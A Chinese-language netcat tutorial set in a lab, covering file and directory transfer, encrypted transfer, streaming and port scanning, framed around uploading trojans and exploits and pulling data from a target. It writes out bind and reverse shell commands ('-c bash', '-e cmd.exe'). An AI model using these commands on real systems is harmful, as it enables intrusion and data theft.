Netcat中文名:瑞士军刀
它身材小却有大功能:拥有侦听、传输、telnet、获取banner、传输文本文件、加密、远程控制、流媒体、远程克隆硬盘。
在Linux下几乎都有安装,你只要在shell敲下nc就可以看看有没有
nc
格式:nc [参数] ip port [文件]
参数:
-v :详细信息
-n:不进行dns解析
-l:监听
-p:端口
-q:命令执行后断开,接时间
演示如何通过nc上传木马
ubuntu服务器:执行nc -lp 4444 > 1.txt
nc -lp 4444 > 1.txt
kali:执行nc -nv 192.168.176.144 4444 < 1.txt
nc -nv 192.168.176.144 4444 < 1.txt -q 1
也可以
kali:执行:nc -lp 4444 < 2.txt -q 1
nc -lp 4444 < 2.txt -q 1
ubuntu服务器:执行:nc -nv 192.168.176.129 4444 > 2.txt
nc -nv 192.168.176.129 4444 > 2.txt
传输目录:
可以对目标服务器进行脱裤或者上传EXP
kali:执行tar -cvf - MITMF/ | nc -lp 4444 -q 1
会先进行打包
tar -cvf - MITMF/ | nc -lp 4444 -q 1
ubuntu服务器: 执行:nc -nv 192.168.176.129 4444 | tar -xvf -
nc -nv 192.168.176.129 4444 | tar -xvf -
ls
加密文件传输
kali 执行:nc -lp 444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 3.txt
mcrypt是加密软件,–flush是解密后删除,-Fbqd为解密方法,rijndael-256为加密算法,加密方法 -m -ecb
nc -lp 444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 3.txt
ubuntu服务器:执行mcrypt --flush -Fbq -a rijndael-256 -m ecb < 3.txt | nc -lp 444 ,加密3.txt文件,-Fbq为加密参数
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 3.txt | nc -nv 192.168.176.129 444 -q 1
流媒体服务
kali:执行cat 1.mp4 | nc -lp 4444
cat 1.mp4 | nc -lp 4444
ubuntu服务器:执行:nc -nv 192.168.176.129 4444 | mplayer -vo xll -cache 3000 -
mplayer为视频播放器,以视频流的方式缓存3000字的大小进行播放
nc -nv 192.168.176.129 4444 | mplayer -vo xll -cache 3000 -
NC扫描器
参数:-z:扫描模式,探测开放端口
nc -nvz 192.168.176.145 1-65535
nc -nvzu 192.168.176.145 1-1024
远程控制
被控:nc -lp 4444 -c bash
-c:执行bash
正向远程:
nc -lp 4444 -c bash
kali:执行nc -nv 192.168.176.145 4444
nc -nv 192.168.176.145 4444
nc -lp 4444
目标服务器:执行:nc -nv 192.168.176.129 4444 -c bash
nc -nv 192.168.176.129 4444 -c bash
如果你要拿下windows的权限
把-c改成-e,bash改成cmd.exe
win7下执行
nc -lp 4444 -e cmd.exe
nc -nv 192.168.176.128 4444
最好使用反向连接,目标服务器使用nc -nv 攻击机ip port -e cmd.exe
然后攻击机先开启监听使用nc -lp port,再执行上面那句
netcat缺点
1.无身份验证,容易把获得的靶机被别人连接。
2.无加密管道,容易被arp欺骗、中间人攻击、嗅探等。